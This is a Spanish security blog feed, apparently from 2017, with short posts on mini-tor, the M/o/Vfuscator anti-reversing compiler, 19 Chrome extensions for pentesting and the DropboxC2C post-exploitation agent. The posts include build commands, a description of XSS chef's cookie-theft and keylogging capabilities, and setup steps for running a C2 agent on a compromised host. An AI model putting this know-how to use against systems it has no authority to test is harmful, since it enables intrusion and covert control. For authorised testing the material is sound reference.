    - se incluye una implementación de curve25519-donna. Se puede activar mediante el establecimiento de MINI_CRYPTO_CURVE25519_NAMESPACE a ext para ponerlo en marcha en sistemas antiguos.
      . ten cuenta que GNC::dh<> funcionará sólo en win8.1+, debido al uso de BCRYPT_KDF_RAW_SECRET para ir a buscar secreto compartido.
   - se puede utilizar CAPI::dh<> configurando MINI_CRYPTO_DH_NAMESPACE a CAPI.
. todo lo demás debe funcionar correctamente en Win7+ (versiones anteriores no son compatibles).
- Mini-tor crea conexiones TLS a través de SCHANNEL (mira en mini/net/ssl_socket.cpp & mini/net/detail/ssl_context.cpp).
- Mini-tor no utiliza CRT o STL por defecto, todo se realiza a partir de cero.
- la versión anterior de mini-tor basada puramente en CryptoAPI se puede encontrar en el git con la etiqueta ms_crypto_api (sin mantenimiento).

Compilación

Se puede compilar mini-tor con Visual Studio 2017, el archivo de solución está incluido. No se requieren otras dependencias.

Proyecto: https://github.com/wbenny/mini-tor

↧

M/o/Vfuscator o cómo hacer llorar a un reverser

July 16, 2017, 4:05 pm

≫ Next: Extensiones para convertir Chrome en una herramienta de pentesting

≪ Previous: Mini-tor: una pequeña herramienta que implementa Tor usando Microsoft CNG/CryptoAPI

M/o/Vfuscator compila programas en instrucciones "mov"... y sólo "mov". Operaciones aritméticas, comparaciones, saltos, llamadas a funciones y todo lo que necesita un programa se realiza a través de operaciones con mov; No hay código auto-modificado, no hay cálculos TTA (transport triggered architecture) ni nada que se pueda hacer sin mov...

Para que os hagáis una idea del resultado de usar la herramienta, las imágenes siguientes ilustran la compilación de una función sencilla de cálculo de número primo primero con gcc y luego con M/o/Vfuscator.

Ensamblador:

GCC	M/o/Vfuscator

Gráficos de control de flujo:

GCC	M/o/Vfuscator

Building

M/o/Vfuscator utiliza LCC como frontend del compilador. Incluye un script de compilación que descargará automáticamente LCC, lo configurará para el backend de mov, y construirá la herramienta.

Si estás en un sistema de 64 bits, asegúrate de tener disponible una libc de 32 bits (por ejemplo, 'apt-get install libc6-dev-i386' o 'yum install glibc-devel.i686').

git clone https://github.com/xoreaxeaxeax/movfuscator
gd movfuscator
./build.sh
sudo ./install.sh

Si tienes problemas para crear LCC, puedes obtener más detalles sobre el proceso de construcción de LCC en: http://drh.github.io/lcc/current/doc/install.html

El compilador actualmente está orientado al lenguaje de programación C y a la arquitectura de procesador x86, pero es fácilmente adaptable a otros lenguajes y arquitecturas.

Uso:

Compila programas como un compilador C tradicional:

movcc example.c -o example

Por supuesto, como compilador C completo, no se limita a programas simples:

Parámetros:

Los parámetros se pasan al compilador a través de -Wfflag, por ej. -Wf--no-mov-id:

--mov-id
  Add reference instructions for each basic block to assist debugging.

--no-mov-id
  Do not add reference instructions.  This is the default.

--mov-flow
  Use mov instructions in implementing control flow.  This is the default.

--no-mov-flow
  Use jmp instructions in implementing control flow.  This will substantially
  speed up execution in larger projects.

--mov-extern
  Use mov instructions to implement external function calls.  This is the
  default.

--no-mov-extern
  Use jmp instructions to implement external function calls.  This is useful for
  debugging.

--mov-loop
  Use mov instructions to implement the primary execution loop.  This is the
  default.

--no-mov-loop
  Use jmp instructions to implement the primary execution loop.  This is useful
  for debugging.

--crt0
  Build the M/o/Vfuscator crt0 library (_start routines).

--crtf
  Build the M/o/Vfuscator crtf library (primary execution loop routines).

--crtd
  Build the M/o/Vfuscator crtd library (data tables).

--crt
  Same as --crt0 --crtf --crtd.

Más info y proyecto Github: https://github.com/xoreaxeaxeax/movfuscator

↧

Extensiones para convertir Chrome en una herramienta de pentesting

July 17, 2017, 3:56 pm

≫ Next: DropboxC2C: un agente de post-explotación que usa Dropbox para C&C

≪ Previous: M/o/Vfuscator o cómo hacer llorar a un reverser

En cuanto navegadores me declaro incondicional de Firefox desde su nacimiento, me sirvió en su momento para apartarme de IE y he seguido usándolo hasta nuestros días, incluso para pentesting: FireCAT, Hcon STF, Firefox Security Toolkit, OWASP Mantra y algunas otras extensiones siempre han cubierto de sobra mis necesidades y gustos.

Pero hoy en día casi el 45% de la "cuota de mercado" de navegadores la tiene Google Chrome por lo que entiendo que muchos pentesters se sienten más cómodos utilizándolo durante sus auditorías. Por ello y porque nunca hay que cerrarse al uso de nuevas herramientas, me pareció muy interesante una recopilación en Infosec Institute con 19 extensiones que convertirán al popular navegador en una verdadera "caja de utilidades" para pentesting.

Para agregarlas sólo tenéis que seguir cada enlace correspondiente y añadiréis nuevas y potentes funcionalidades, dejando la barra de vuestro navegador de forma similar a la siguiente:

1.- Web developer: es una extensión de Google Chrome que agrega una barra con varias herramientas de desarrollo web en Chrome. Esta extensión ayuda a analizar elementos de la aplicación web como HTML y JS.

2.- Firebug Lite for Google Chrome: Proporciona un rico entorno visual para analizar elementos HTML, elementos DOM y otros Box Model Shading. También permite editar CSS en tiempo real. Ayuda en el análisis de cómo una aplicación está trabajando en el lado del cliente.

3.- D3coder: permite codificar y decodificar texto seleccionado a través del menú contextual. Por lo tanto, reduce el tiempo para codificar y decodificar cadenas utilizando herramientas separadas. Soporta Timestamp, rot13, base64, hashes CRC32, MD5 y SHA1, bin2hex, bin2text, unserialize, etc.

4.- Site Spider: Es una extensión que agrega un crawler en Chrome. Rastrea todas las páginas e informa de todos los enlaces rotos. También se puede configurar añadiendo restricciones y expresiones regulares, que funcionen en el lado del cliente, y usar autenticación para acceder a todas las páginas. Esta extensión es de código abierto.

5.- Form Fuzzer: se utiliza para completar diferentes campos de formulario con caracteres predefinidos. También puede marcar casillas de verificación, botones de radio y seleccionar elementos en formularios. Cuenta con un menú de configuración donde se pueden gestionar todas las configuraciones de la extensión. Es muy útil para probar formularios. Muy útil en la realización de ataques de inyección XSS y SQL.

6.- Session Manager: es una potente extensión de Chrome que permite a los usuarios guardar, actualizar, restaurar y eliminar conjuntos de pestañas. Puede crear un grupo de pestañas del mismo interés y restaurarlas con un solo clic.

7.- Request Maker: es una herramienta base de pentesting. Se utiliza para crear y capturar peticiones, manipular la URL y crear nuevos encabezados con datos POST. Puede capturar las solicitudes realizadas a través de formularios o XMLHttpRequests. Su función es similar a Burp. También es útil en la realización de varios tipos de ataques en una aplicación web mediante la modificación de las solicitudes http.

8.- Proxy SwitchySharp: es una extensión proxy que ayuda a administrar y cambiar entre múltiples proxies rápidamente. También tiene una opción para cambiar de proxy automáticamente basándose en la URL y puede importar o exportar datos fácilmente.

9.- Cookie Editor: una buena extensión para editar las cookies. Esta herramienta es realmente útil mientras se secuestran sesiones y permite borrar, editar, agregar o buscar cookies. También permite a los usuarios proteger, bloquear o exportar cookies en json. Esta extensión viene por defecto con anuncios (que pueden desactivarse) pero todos los ingresos van a Unicef para ayudar a los niños en todo el mundo.

10.- Cache Killer: esta extensión limpia automáticamente el caché del navegador antes de cargar las páginas. Se puede activar o desactivar fácilmente con un solo clic. Es útil para pasar por alto la caché del navegador y ver el sitio web en caso de que haya cambiando. Muy útil para los desarrolladores web.

11.- XSS Rays: es una extensión que ayuda a encontrar vulnerabilidades XSS en un sitio web. Comprueba si hay inyecciones e inspecciona objetos y también puede extraer, ver y editar fácilmente los formularios de forma no destructiva incluso si los formularios no pueden editarse. Muchos pentesters usan esta extensión como una herramienta de prueba XSS dedicada. Es un escáner XSS en JavaScript puro.

12.- WebSecurify: es una herramienta de seguridad web multiplataforma que se ejecuta directamente desde el navegador. Es capaz de encontrar XSS, XSRF, CSRF, inyecciones SQL, subida de archivos, redirecciones de URL y varias otras vulnerabilidades de seguridad. Tiene un crawler incorporado que escanea y rastrea las páginas.

13.- Port Scanner: esta extensión agrega la capacidad de escanear puertos TCP al navegador. Port Scanner analiza cualquier dirección IP o dirección URL y luego busca los puertos abiertos. También está disponible para Opera y Mozilla Firefox.

14.- XSS chef: ayuda a identificar vulnerabilidades XSS en aplicaciones web. Es similar a BeEF, pero para los navegadores. Realiza las siguientes tareas:

- Monitoriza las pestañas abiertas de las víctimas
- Ejecuta JS en cada pestaña (XSS global)
- Extrae HTML, lee/escribe cookies (también httpOnly), almacenamiento local
- Obtiene y manipula el historial del navegador
- Mantiene la persistencia hasta que se cierre el navegador completamente (o incluso más si puede persistir en el almacenamiento local de las extensiones)
- Hace una captura de pantalla de la ventana de víctimas
- Explotación adicional, por ej. mediante hooks BeEF, keyloggers, etc.
- Explora el sistema de archivos a través de file://
- Evade el sandbox de contención de scripts de extensiones de Chrome para interactuar directamente con el JS de la página

Esto no es una extensión sino un framework. Por lo tanto, la instalación no es la misma que cualquier otra extensión. Echa un vistazo el enlace oficial y mira cómo instalarlo en Chrome.

15.- HPP Finder: es útil para encontrar la vulnerabilidad HTTP Parameter Pollution (HPP) y explotarla. Esta herramienta puede detectar y explotar fácilmente los formularios HTML o URLs que podrían ser susceptibles de ataques de contaminación de parámetros HTTP.

16.- The Exploit Database: no es una herramienta de pentesting en sí, pero ayuda a mentenersse actualizado con todas las últimos exploits, shellcodes y documentos técnicos disponibles en Exploit-DB. Se trata de una herramienta de código abierto y el código fuente se puede encontrar aquí: http://github.com/10n1z3d/EDBEAdd

17.- GHDB: esta extensión ayuda a realizar las consultas necesarias para encontrar páginas específicas basadas en parámetros especiales de búsqueda de Google (dorks).

18.- iMacros for Chrome: Mientras se realizan varias pruebas en páginas web es posible que se necesite automatizar algunas tareas repetitivas en la web. Para ello, se puede utilizar iMacros.

19.- IP Address and Domain Information: se trata de una extensión de recopilación de información que puede ayudar a encontrar la ubicación geográfica, DNS, whois, enrutamiento, resultados de búsqueda, alojamiento, domain neighbors , DNSBL, BGP y ASN información de cada dirección IP (IPv4 e IPv6)

Fuente: http://resources.infosecinstitute.com/19-extensions-to-turn-google-chrome-into-penetration-testing-tool/

↧

DropboxC2C: un agente de post-explotación que usa Dropbox para C&C

July 20, 2017, 4:05 am

≫ Next: Pentesting de web services con WS-Attacker

≪ Previous: Extensiones para convertir Chrome en una herramienta de pentesting

DropboxC2C es una herramienta escrita en python por Rio Sherri (0x09AL) que implementa un agente de post-explotación que utiliza la infraestructura de Dropbox para las operaciones de comando y control (C&C). Su autor lo liberó a raíz de que los desarrolladores de Empire implementaran también Dropbox como C2C.

Tiene una parte "servidor" que gestiona todos los agentes (Main.py) y, evidentemente, una parte cliente que hace lo que el servidor dice. ha eliminado las funciones de keylogging para que no se haga un mal uso de la herramienta.

Requiere Python 2.7 y las librerías dropbox, psutil y pyinstaller. La instalación es muy sencilla:

- git clone https://github.com/0x09AL/DropboxC2C.git
- modificar la clave de la API en agent.py y main.py (la clave api se debe crear desde la interfaz web de Dropbox)
- ejecutar setup.bat en una máquina Windows para obtener agent.exe que es el agente "compilado"
- ejecutar main.py y el agente en el servidor comprometido

Proyecto: https://github.com/0x09AL/DropboxC2C

↧